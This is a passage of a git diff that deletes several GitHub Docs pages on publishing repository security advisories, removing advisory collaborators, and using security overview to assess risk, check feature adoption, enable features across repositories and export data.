[AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability). - -> [!WARNING] -> Whenever possible, you should always add a fix version to a security advisory prior to publishing the advisory. If you don't, the advisory will be published without a fixed version, and {% data variables.product.prodname_dependabot %} will alert your users about the issue, without offering any safe version to update to. -> -> We recommend you take the following steps in these different situations: -> -> * If a fix version is imminently available, and you are able to, wait to disclose the issue when the fix is ready. -> * If a fix version is in development but not yet available, mention this in the advisory, and edit the advisory later, after publication. -> * If you are not planning to fix the issue, be clear about it in the advisory so that your users don't contact you to ask when a fix will be made. In this case, it is helpful to include steps users can take to mitigate the issue. - -When you publish a draft advisory from a public repository, everyone is able to see: - -* The current version of the advisory data. -* Any advisory credits that the credited users have accepted. - -> [!NOTE] -> The general public will never have access to the edit history of the advisory, and will only see the published version. - -After you publish a security advisory, the URL for the security advisory will remain the same as before you published the security advisory. Anyone with read access to the repository can see the security advisory. Collaborators on the security advisory can continue to view past conversations, including the full comment stream, in the security advisory unless someone with admin permissions removes the collaborator from the security advisory. - -If you need to update or correct information in a security advisory that you've published, you can edit the security advisory. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/editing-a-repository-security-advisory). - -## Publishing a security advisory - -Publishing a security advisory deletes the temporary private fork for the security advisory. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory you'd like to publish. -1. Scroll to the bottom of the advisory form and click **Publish advisory**. - - ![Screenshot of the "Required advisory information has been provided" area of the page. The "Publish advisory" button is outlined in orange.](/assets/images/help/security/publish-advisory-button.png) - - > [!NOTE] - > If you selected "Request CVE ID later", you will see a **Request CVE** button in place of the **Publish advisory** button. For more information, see [Requesting a CVE identification number (Optional)](#requesting-a-cve-identification-number-optional) below. - -## {% data variables.product.prodname_dependabot_alerts %} for published security advisories - -{% data reusables.repositories.github-reviews-security-advisories %} - -## Requesting a CVE identification number (Optional) - -{% data reusables.repositories.request-security-advisory-cve-id %} For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories#cve-identification-numbers). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory you'd like to request a CVE identification number for. -1. Scroll to the bottom of the advisory form and click **Request CVE**. - - ![Screenshot of the "Required advisory information has been provided" area of the page. The "Request CVE" button is outlined in dark orange.](/assets/images/help/security/security-advisory-request-cve-button.png) - -## Further reading - -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/deleting-a-repository-security-advisory) diff --git a/content/code-security/security-advisories/working-with-repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md b/content/code-security/security-advisories/working-with-repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md deleted file mode 100644 index c381755e2db8..000000000000 --- a/content/code-security/security-advisories/working-with-repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Removing a collaborator from a repository security advisory -intro: 'When you remove a collaborator from a repository security advisory, they lose read and write access to the security advisory''s discussion and metadata.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -redirect_from: - - /github/managing-security-vulnerabilities/removing-a-collaborator-from-a-security-advisory - - /code-security/security-advisories/removing-a-collaborator-from-a-security-advisory - - /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory - - /code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Security advisories - - Vulnerabilities - - Collaboration -shortTitle: Remove collaborators ---- - -{% data reusables.security-advisory.repository-level-advisory-note %} - -## Removing a collaborator from a security advisory - -{% data reusables.repositories.security-advisory-collaborators-public-repositories %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-advisories %} -1. In the "Security Advisories" list, click the name of the security advisory you'd like to remove a collaborator from. -1. On the right side of the page, under "Collaborators", find the name of the user or team you'd like to remove from the security advisory. -1. Next to the collaborator you want to remove, click **Remove**. - - ![Screenshot of the "Collaborators" area in the right sidebar of a draft security advisory. The "Remove username" button is outlined in dark orange.](/assets/images/help/security/security-advisory-remove-collaborator.png) - -## Further reading - -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/permission-levels-for-repository-security-advisories) -* [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory) diff --git a/content/code-security/security-overview/about-security-overview.md b/content/code-security/security-overview/about-security-overview.md deleted file mode 100644 index c27eca0c3fa3..000000000000 --- a/content/code-security/security-overview/about-security-overview.md +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: About security overview -intro: 'You can gain insights into the overall security landscape of your organization or enterprise and identify repositories that require intervention using security overview.' -product: '{% data reusables.gated-features.security-overview %}' -redirect_from: - - /code-security/security-overview/exploring-security-alerts - - /code-security/security-overview/about-the-security-overview -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Security overview - - Code Security - - Secret Protection - - Alerts - - Code scanning - - Dependabot - - Organizations - - Secret scanning - - Teams ---- -<!-- expires 2025-04-01 --> - -<!-- The whole article will be suitable for GitHub Team users --> - -{% ifversion fpt %}{% data reusables.security-overview.about-security-overview %} For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-security-overview).{% endif %} - -{% ifversion ghec or ghes %} - -<!-- end expires 2025-04-01 --> - -Security overview contains focused views where you can explore trends in detection, remediation, and prevention of security alerts and dig deep into the current state of your codebases. - -* Information about {% data variables.product.prodname_dependabot %} features and alerts is shown for all repositories. -* Information for {% data variables.product.prodname_AS %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, is shown for organizations and enterprises that use {% data variables.product.prodname_GHAS_cs_or_sp %}{% ifversion fpt or ghec %} and for public repositories{% endif %}. - -For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts#dependabot-alerts-for-vulnerable-dependencies) and [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -## About the views - -> [!NOTE] -> All views show information and metrics for the **default** branches of the repositories you have permission to view in an organization or enterprise. - -The views are interactive with filters that allow you to look at the aggregated data in detail and identify sources of high risk, see security trends, and see the impact of pull request analysis on blocking security vulnerabilities entering your code. As you apply multiple filters to focus on narrower areas of interest, all data and metrics across the view change to reflect your current selection. For more information, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - -{% ifversion security-overview-export-data %} -{% data reusables.security-overview.download-csv-files %} For more information, see [AUTOTITLE](/code-security/security-overview/exporting-data-from-security-overview). -{% endif %} - -There are dedicated views for each type of security alert. You can limit your analysis to a specific type of alert, and then narrow the results further with a range of filters specific to each view. For example, in the {% data variables.product.prodname_secret_scanning %} alert view, you can use the "Secret type" filter to view only {% data variables.secret-scanning.alerts %} for a specific secret, like a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_generic %}. - -> [!NOTE] -> Security overview displays active alerts raised by security features. If there are no alerts shown in security overview for a repository, undetected security vulnerabilities or code errors may still exist or the feature may not be enabled for that repository. - -## About security overview for organizations - -The application security team at your company can use the different views for both broad and specific analyses of your organization's security status. For example, {% ifversion security-overview-dashboard %}the team can use the "Overview" dashboard view to track your organization's security landscape and progression{% else %}the team can use the "Coverage" view to monitor the adoption of features across your organization or by a specific team as you roll out {% data variables.product.prodname_GHAS %} features, or use the "Risk" view to identify repositories with more than five open {% data variables.secret-scanning.alerts %}{% endif %}. {% ifversion pre-security-configurations %}You can also use security overview to find a set of repositories and enable or disable security features for them all at the same time. For more information, see [AUTOTITLE](/code-security/security-overview/enabling-security-features-for-multiple-repositories).{% endif %} - -You can find security overview on the **Security** tab for any organization. Each view shows a summary of the data that you have access to. As you add filters, all data and metrics across the view change to reflect the repositories or alerts that you've selected. For information about permissions, see [Permission to view data in security overview](#permission-to-view-data-in-security-overview). - -Security overview has multiple views that provide different ways to explore enablement and alert data. - -{% ifversion security-overview-dashboard %} -* **Overview:** visualize trends in **Detection**, **Remediation**, and **Prevention** of security alerts, see [AUTOTITLE](/code-security/security-overview/viewing-security-insights).{% endif %} -* **Risk and Alert views:** explore the risk from security alerts of all types or focus on a single alert type and identify your risk from specific vulnerable dependencies, code weaknesses, or leaked secrets, see [AUTOTITLE](/code-security/security-overview/assessing-code-security-risk). -* **Coverage:** assess the adoption of security features across repositories in the organization, see [AUTOTITLE](/code-security/security-overview/assessing-adoption-code-security).{% ifversion security-overview-tool-adoption %} -* **Enablement trends:** see how quickly different teams are adopting security features.{% endif %}{% ifversion security-overview-org-codeql-pr-alerts %} -* **CodeQL pull request alerts:** assess the impact of running CodeQL on pull requests and how development teams are resolving code scanning alerts, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-pull-request-alerts).{% endif %}{% ifversion security-overview-push-protection-metrics-page %} -* **Secret scanning:** find out which types of secret are blocked by push protection{% ifversion security-overview-delegated-bypass-requests %} and which teams are bypassing push protection{% endif %}, see [AUTOTITLE](/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection){% ifversion security-overview-delegated-bypass-requests %} and [AUTOTITLE](/code-security/security-overview/reviewing-requests-to-bypass-push-protection){% endif %}.{% endif %} - -{% ifversion security-campaigns %} -You also create and manage security campaigns to remediate alerts from security overview, see [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/creating-tracking-security-campaigns) and [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale). -{% endif %} - -## About security overview for enterprises - -You can find security overview on the **Code Security** tab for your enterprise. Each page displays aggregated and repository-specific security information for your enterprise. - -As with security overview for organizations, security overview for enterprises has multiple views that provide different ways to explore data. - -For information about permissions, see [Permission to view data in security overview](#permission-to-view-data-in-security-overview). - -## Permission to view data in security overview - -### Organization-level overview - -If you are an **owner or security manager** for an organization, you can see data for all the repositories in the organization in all views. - -If you are an **organization or team member**, you can view security overview for the organization and see data for repositories where you have an appropriate level of access. - -{% ifversion security-overview-dashboard %} -{% rowheaders %} - -| Organization or team member with | Overview dashboard view | Risk and alerts views | Coverage view | -|--------------------|-------------|---------------------|---------| -| `admin` access for one or more repositories | View data for those repositories | View data for those repositories | View data for those repositories{% ifversion pre-security-configurations %}, and enable and disable security features{% endif %} | -| `write` access for one or more repositories | View {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} data for those repositories | View {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} data for those repositories | No access | -| `read` or `triage` access for one or more repositories | No access | No access | No access | -| Security alert access for one or more repositories | View all security alert data for those repositories | View all security alert data for those repositories | No access | -| Custom organization role with permission to view one or more types of security alert | View allowed alert data for all repositories | View allowed alert data for all repositories in all views | No access | - -{% endrowheaders %} -{% else %} -{% rowheaders %} - -| Organization or team member with | Risk and alerts views | Coverage view | -|--------------------|-------------|---------------------| -| `admin` access for one or more repositories | View data for those repositories | View data for those repositories, and enable and disable security features | -| `write` access for one or more repositories | View {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} data for those repositories | No access | -| `read` or `triage` access for one or more repositories | No access | No access | -| Security alert access for one or more repositories | View all security alert data for those repositories | No access | -| Custom organization role with permission to view one or more types of security alert | View allowed alert data for all repositories in all views | No access | - -{% endrowheaders %} -{% endif %} - -> [!NOTE] -> To ensure a consistent and responsive experience, for organization members, the organization-level security overview pages will only display results from the most recently updated 3,000 repositories. If your results have been restricted, a notification will appear at the top of the page. Organization owners and security managers will see results from all repositories. - -For more information about access to security alerts and related views, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/about-custom-repository-roles#security). - -### Enterprise-level overview - -> [!NOTE] -> If you are an **enterprise owner**, you will need to join an organization as an organization owner to view data for the organization's repositories in both the organization-level and enterprise-level overview.{% ifversion secret-scanning-user-owned-repos %} {% data reusables.secret-scanning.secret-scanning-user-owned-repo-access %}{% endif %} For more information, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise). - -In the enterprise-level security overview, you can see data for all organizations where you are an **organization owner or security manager**. - -{% ifversion ghec %} -If you're an owner of an {% data variables.enterprise.prodname_emu_enterprise %}, you can view data from user-owned repositories in security overview and filter by repository owner type. For more information on {% data variables.enterprise.prodname_managed_users %}, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/getting-started/securing-your-repository){% ifversion security-configurations %} -* [AUTOTITLE](/code-security/securing-your-organization){% else %} -* [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-organization){% endif %} -* [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale) -{% endif %} diff --git a/content/code-security/security-overview/assessing-adoption-code-security.md b/content/code-security/security-overview/assessing-adoption-code-security.md deleted file mode 100644 index 5cfdea199c2f..000000000000 --- a/content/code-security/security-overview/assessing-adoption-code-security.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Assessing adoption of security features -shortTitle: Assess adoption of features -allowTitleToDifferFromFilename: true -intro: 'You can use security overview to see which teams and repositories have already enabled features for secure coding, and identify any that are not yet protected.' -permissions: '{% data reusables.permissions.security-overview %}' -type: how_to -topics: - - Security overview - - Code Security - - Secret Protection - - 'Set up' - - Organizations - - Teams -versions: - ghes: '*' - ghec: '*' ---- - - - -## About adoption of features for secure coding - -You can use security overview to see which repositories and teams have already enabled each security feature, and where people need more encouragement to adopt these features. The "Security coverage" view shows a summary and detailed information on feature enablement for an organization. You can filter the view to show a subset of repositories using the "enabled" and "not enabled" links, the "Teams" dropdown menu, and a search field in the page header. - -![Screenshot of the header section of the "Security coverage" view on the "Security" tab for an organization.](/assets/images/help/security-overview/security-coverage-view-summary.png) - ->[!NOTE] "Pull request alerts" are reported as enabled only when {% data variables.product.prodname_code_scanning %} has analyzed at least one pull request since alerts were enabled for the repository. - -{% ifversion security-overview-export-data %} -You can download a CSV file of the data displayed on the "Security coverage" page. This data file can be used for efforts like security research and in-depth data analysis, and can integrate easily with external datasets. For more information, see [AUTOTITLE](/code-security/security-overview/exporting-data-from-security-overview). -{% endif %} - -{% ifversion security-overview-tool-adoption %} - -You can use the "Enablement trends" view to see enablement status and enablement status trends over time for {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_code_scanning %}, or {% data variables.product.prodname_secret_scanning %} for repositories in an organization{% ifversion security-overview-enterprise-enablement-report %}, or across organizations in an enterprise{% endif %}. For each of these features, you can view a graph visualizing the percentage of repositories that have the feature enabled, as well as a detailed table with enablement percentages for different points in time. For more information, see [Viewing enablement trends for an organization](#viewing-enablement-trends-for-an-organization){% ifversion security-overview-enterprise-enablement-report %} and [Viewing enablement trends for an enterprise](#viewing-enablement-trends-for-an-enterprise){% endif %}. - -{% endif %} - -## Viewing the enablement of security features for an organization - -You can view data to assess the enablement of features for secure coding across repositories in an organization. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. To display the "Security coverage" view, in the sidebar, click **{% octicon "meter" aria-hidden="true" %} Coverage**. -{% data reusables.code-scanning.using-security-overview-coverage %} - - ![Screenshot of the "Security coverage" view. The options for filtering are outlined in dark orange.](/assets/images/help/security-overview/security-coverage-view-highlights.png) - -{% ifversion pre-security-configurations %} -1. Optionally, click **{% octicon "gear" aria-hidden="true" %} Security settings** to enable security features for a repository and click **Save security settings** to confirm the changes. If a feature is not shown, it has more complex configuration requirements and you need to use the repository settings dialog. For more information, see [AUTOTITLE](/code-security/getting-started/securing-your-repository). -1. Optionally, select some or all of the repositories that match your current search and click **Security settings** in the table header to display a side panel where you can enable security features for the selected repositories. When you've finished, click **Apply changes** to confirm the changes. For more information, see [AUTOTITLE](/code-security/security-overview/enabling-security-features-for-multiple-repositories). - -{% data reusables.security-overview.settings-limitations %} - -{% endif %} - -{% ifversion dependabot-updates-paused-enterprise-orgs %} - -In the list of repositories, a "Paused" label under "{% data variables.product.prodname_dependabot %}" indicates repositories for which {% data variables.product.prodname_dependabot_updates %} are paused. For information about inactivity criteria, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates#about-automatic-deactivation-of-dependabot-updates) and [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates#about-automatic-deactivation-of-dependabot-updates), for security and version updates, respectively.{% endif %} - -## Viewing the enablement of features for secure coding in an enterprise - -You can view data to assess the enablement of security features across organizations in an enterprise. - -{% ifversion pre-security-configurations %} -In the enterprise-level view, you can view data about the enablement of features, but you cannot enable or disable features. -{% endif %} - -{% ifversion ghes %}{% data reusables.enterprise-accounts.access-enterprise-ghes %}{% else %}{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}{% endif %} -{% data reusables.code-scanning.click-code-security-enterprise %} -1. To display the "Security coverage" view, in the sidebar, click **Coverage**. -{% data reusables.code-scanning.using-security-overview-coverage %} - - ![Screenshot of the header section of the "Security coverage" view. The options for filtering are outlined in dark orange.](/assets/images/help/security-overview/security-coverage-view-highlights-enterprise.png) - -{% data reusables.security-overview.enterprise-filters-tip %} - -{% ifversion security-overview-tool-adoption %} - -## Viewing enablement trends for an organization - -{% ifversion ghes < 3.15 %} - -> [!NOTE] The "Enablement trends" view is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -{% endif %} - -You can view data to assess the enablement status and enablement status trends of security features for an organization. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the sidebar, under "Metrics", click **{% octicon "meter" aria-hidden="true" %} Enablement trends**. -1. Click on one of the tabs for "{% data variables.product.prodname_dependabot %}", "{% data variables.product.prodname_code_scanning_caps %}", or "{% data variables.product.prodname_secret_scanning_caps %}" to view enablement trends and the percentage of repositories in your organization with that feature enabled. This data is displayed as a graph and a detailed table. -1. Optionally, use the options at the top of the "Enablement trends" view page to filter the group of repositories you want to see enablement trends for. - * Use the date picker to set the time range that you want to view enablement trends for. - * Click in the search box to add further filters on the enablement trends displayed. The filters you can apply are the same as those for the "Overview" dashboard view. For more information, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - - ![Screenshot of the "Enablement trends" view for an organization, showing Dependabot status and trends over 30 days, with a filter applied.](/assets/images/help/security-overview/security-overview-enablement-trends.png) - -{% endif %} - -{% ifversion security-overview-enterprise-enablement-report %} - -## Viewing enablement trends for an enterprise - -{% ifversion ghes < 3.15 %} - -> [!NOTE] The "Enablement trends" view is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -{% endif %} - -You can view data to assess the enablement status and enablement status trends of security features across organizations in an enterprise. - -{% ifversion ghes %}{% data reusables.enterprise-accounts.access-enterprise-ghes %}{% else %}{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}{% endif %} -{% data reusables.code-scanning.click-code-security-enterprise %} -1. To display the "Enablement trends" view, in the sidebar, click **Enablement trends**. -1. Click on one of the tabs for "{% data variables.product.prodname_dependabot %}", "{% data variables.product.prodname_code_scanning_caps %}", or "{% data variables.product.prodname_secret_scanning_caps %}" to view enablement trends and the percentage of repositories across organizations in your enterprise with that feature enabled. This data is displayed as a graph and a detailed table. -1. Optionally, use the options at the top of the "Enablement trends" view page to filter the group of repositories you want to see enablement trends for. - * Use the date picker to set the time range that you want to view enablement trends for. - * Click in the search box to add further filters on the enablement trends displayed. For more information, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - ->[!TIP] You can use the `owner:` filter in the search field to filter the data by organization. For more information, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - -{% endif %} - -## Interpreting and acting on the enablement data - -Some security features can and should be enabled on all repositories. For example, {% data variables.secret-scanning.alerts %} and push protection reduce the risk of a security leak no matter what information is stored in the repository. If you see repositories that don't already use these features, you should either enable them or discuss an enablement plan with the team who owns the repository. For information on enabling features for a whole organization, see {% ifversion security-configurations %}[AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization){% else %}[AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization){% endif %}. - -Other features are not available for use in all repositories. For example, there would be no point in enabling {% data variables.product.prodname_dependabot %}{% ifversion default-setup-pre-enablement %}{% else %} or {% data variables.product.prodname_code_scanning %}{% endif %} for repositories that only use ecosystems or languages that are unsupported. As such, it's normal to have some repositories where these features are not enabled. - -Your enterprise may also have configured policies to limit the use of some security features. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). diff --git a/content/code-security/security-overview/assessing-code-security-risk.md b/content/code-security/security-overview/assessing-code-security-risk.md deleted file mode 100644 index 9fc75bf0986b..000000000000 --- a/content/code-security/security-overview/assessing-code-security-risk.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Assessing the security risk of your code -shortTitle: Assess security risk of code -allowTitleToDifferFromFilename: true -intro: 'You can use security overview to see which teams and repositories are affected by security alerts, and identify repositories for urgent remedial action.' -permissions: '{% data reusables.permissions.security-overview %}' -type: how_to -topics: - - Security overview - - Code Security - - Secret Protection - - Alerts - - Organizations - - Teams -versions: - ghes: '*' - ghec: '*' -redirect_from: - - /code-security/security-overview/viewing-the-security-overview ---- - - - -## Exploring the security risks in your code - -You can use the different views on your **Security** tab to explore the security risks in your code. - -* **Overview:** use to explore trends in **Detection**, **Remediation**, and **Prevention** of security alerts. -* **Risk:** use to explore the current state of repositories, across all alert types. -* **Alerts views:** use to explore {% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_dependabot %}, or {% data variables.product.prodname_secret_scanning %} alerts in greater detail. - -These views provide you with the data and filters to: - -* Assess the landscape of security risk of code stored in all your repositories. -* Identify the highest impact vulnerabilities to address. -* Monitor your progress in remediating potential vulnerabilities. {% ifversion security-overview-export-data %} -* Export your current selection of data for further analysis and reporting. {% endif %} - -{% ifversion security-overview-dashboard %} -For information about the **Overview**, see [AUTOTITLE](/code-security/security-overview/viewing-security-insights).{% endif %} - -## Viewing organization-level security risks in code - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -{% data reusables.security-overview.open-security-risk-view %} -{% data reusables.code-scanning.using-security-overview-risk %} - - ![Screenshot of the "Security risk" view for an organization. The options for filtering are outlined in dark orange.](/assets/images/help/security-overview/security-risk-view-highlights.png) - - {% data reusables.security-overview.unaffected-repositories %} - -{% data reusables.organizations.security-overview-feature-specific-page %} {% ifversion security-overview-export-data %} -1. Optionally, use the **{% octicon "download" aria-hidden="true" %} Export CSV** button to download a CSV file of the data currently displayed on the page for security research and in-depth data analysis. For more information, see [AUTOTITLE](/code-security/security-overview/exporting-data-from-security-overview). {% endif %} - -{% data reusables.security-overview.alert-differences %} - -## Viewing enterprise-level security risks in code - -You can view data for security alerts across organizations in an enterprise. - -{% data reusables.security-overview.enterprise-filters-tip %} - -{% ifversion ghes %}{% data reusables.enterprise-accounts.access-enterprise-ghes %}{% else %}{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}{% endif %} -{% data reusables.code-scanning.click-code-security-enterprise %} -1. To display the "Security risk" view, in the sidebar, click **{% octicon "shield" aria-hidden="true" %} Risk**. -{% data reusables.code-scanning.using-security-overview-risk %} - - ![Screenshot of the "Security risk" view for an enterprise. The options for filtering are outlined in dark orange.](/assets/images/help/security-overview/security-risk-view-highlights-enterprise.png) - - {% data reusables.security-overview.unaffected-repositories %} -{% data reusables.organizations.security-overview-feature-specific-page %}{% ifversion security-overview-export-data %} -1. Optionally, use the {% octicon "download" aria-hidden="true" %} **Export CSV** button to download a CSV file of the data currently displayed on the page for security research and in-depth data analysis. For more information, see [AUTOTITLE](/code-security/security-overview/exporting-data-from-security-overview). {% endif %} - -{% data reusables.security-overview.alert-differences %} - -{% ifversion security-campaigns %} - -## Next steps - -When you have assessed your security risks, you are ready to create a security campaign to collaborate with developers to remediate alerts. For information about fixing security alerts at scale, see [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/creating-tracking-security-campaigns) and [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale). -{% endif %} diff --git a/content/code-security/security-overview/enabling-security-features-for-multiple-repositories.md b/content/code-security/security-overview/enabling-security-features-for-multiple-repositories.md deleted file mode 100644 index 665430c9f71e..000000000000 --- a/content/code-security/security-overview/enabling-security-features-for-multiple-repositories.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Enabling security features for multiple repositories -shortTitle: Enable security features -intro: You can use security overview to select a subset of repositories and enable security features for them all. -permissions: '{% data reusables.permissions.security-org-enable %}' -allowTitleToDifferFromFilename: true -versions: - feature: security-configurations-beta-and-pre-beta -type: how_to -topics: - - Security overview - - Code Security - - Secret Protection - - Alerts - - Organizations - - Teams ---- - -## About enabling security features - -If you're a security manager, repository administrator, or organization owner, you can use security overview to enable or disable security features for multiple repositories at the same time. You can enable or disable security features for all repositories visible on the "Security coverage" view in security overview for an organization. - -You can use checkboxes to select which repositories you want to include, or use the search bar to narrow down to a specific subset of repositories, and enable or disable security features for that group. This is useful if you want to introduce a feature to your organization gradually over time, or if your organization requires a complex security setup where different features are enabled in different repositories. For example, if you are enabling a feature across a group of repositories, you may find the following filtering options helpful. - -* To exclude certain repositories from the selection, you can assign a topic such as `test` to these repositories, then exclude them from the results with a search like `-topic:test`. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). -* If a team uses repositories that all require a certain feature, you can use the `team:` filter to search for repositories where a team has write access. -* If you're enabling {% data variables.product.prodname_code_scanning %}, you can see which repositories are eligible for default setup with the search `code-scanning-default-setup:eligible`. For more information, see [AUTOTITLE](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning-at-scale).{% ifversion security-overview-repository-properties %} -* You can use custom repository properties to filter security overview to show results from specific groups of repositories. Custom properties are metadata that organization owners can add and set for repositories in an organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization).{% endif %} - -For more information on filters you can use in different parts of security overview, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - -For more information about the different ways of enabling security features in an organization, see {% ifversion security-configurations %}[AUTOTITLE](/code-security/securing-your-organization).{% else %}[AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-organization).{% endif %} - -## Enabling security features for multiple repositories - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -{% data reusables.security-overview.security-overview-coverage-view %} -1. You can use the search bar to narrow down visible repositories in the "Security coverage" view based on filters such as repository name or enablement status of security features. -1. In the list of repositories, select each repository you want to modify the enablement of security features for. To select all repositories on the page, click the checkbox next to **NUMBER Active**. To select all repositories that match the current search, click the checkbox next to **NUMBER Active** and then click **Select all NUMBER repos**. -1. Click **Security settings** next to **NUMBER selected**. -1. In the side panel, next to all the security features you want to enable or disable, select **Enable** or **Disable**. -1. As you make changes, the **Apply changes** button reports the number of security features you have edited. To confirm the changes, click **Apply changes NUMBER**. Alternatively, click {% octicon "x" aria-label="Close" %} to close the panel without making changes. - - {% data reusables.security-overview.settings-limitations %} - - ![Screenshot of the "Security coverage" view with the side panel open. The "Apply changes" button is highlighted in a dark orange outline.](/assets/images/help/security-overview/security-coverage-view-multi-repo-side-panel.png) - -The security features that you can enable and disable in this view are: - -* Dependency graph -* {% data variables.product.prodname_dependabot_alerts %} -* {% data variables.product.prodname_dependabot_security_updates %} -* {% data variables.product.prodname_GHAS %} -* {% data variables.product.prodname_code_scanning_caps %} default setup -* {% data variables.secret-scanning.alerts_caps %} -* {% data variables.product.prodname_secret_scanning_caps %} as a push protection - -If you're blocked from enabling a security feature due to an enterprise policy, you will still be able to see the affected repository in the "Security Coverage" view and access the side panel from the **{% octicon "gear" aria-hidden="true" %} Security settings** button. However, you will see a message in the side panel indicating that the functionality is not available. For more information about enterprise policies, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -Organization owners and security managers can use security overview to enable or disable security features for all repositories belonging to their organization. There are no enterprise policies that restrict organization owners or security managers from enabling or disabling any security features. For more information about enterprise policies, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies). diff --git a/content/code-security/security-overview/exporting-data-from-security-overview.md b/content/code-security/security-overview/exporting-data-from-security-overview.md deleted file mode 100644 index ca6562fb7f75..000000000000 --- a/content/code-security/security-overview/exporting-data-from-security-overview.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Exporting data from security overview -shortTitle: Export data -intro: From security overview, you can export CSV files of the data used for your organization or enterprise's overview, risk, coverage, and {% data variables.product.prodname_codeql %} pull request alerts pages. -permissions: '{% data reusables.permissions.security-overview %}' -versions: - feature: security-overview-export-data -type: how_to -topics: - - Security overview - - Code Security - - Secret Protection - - Alerts - - Organizations - - Teams -redirect_from: - - /code-security/security-overview/exporting-data-from-the-risk-and-coverage-pages ---- - -## About exporting your security overview data - -{% data reusables.security-overview.download-csv-files %} - -The 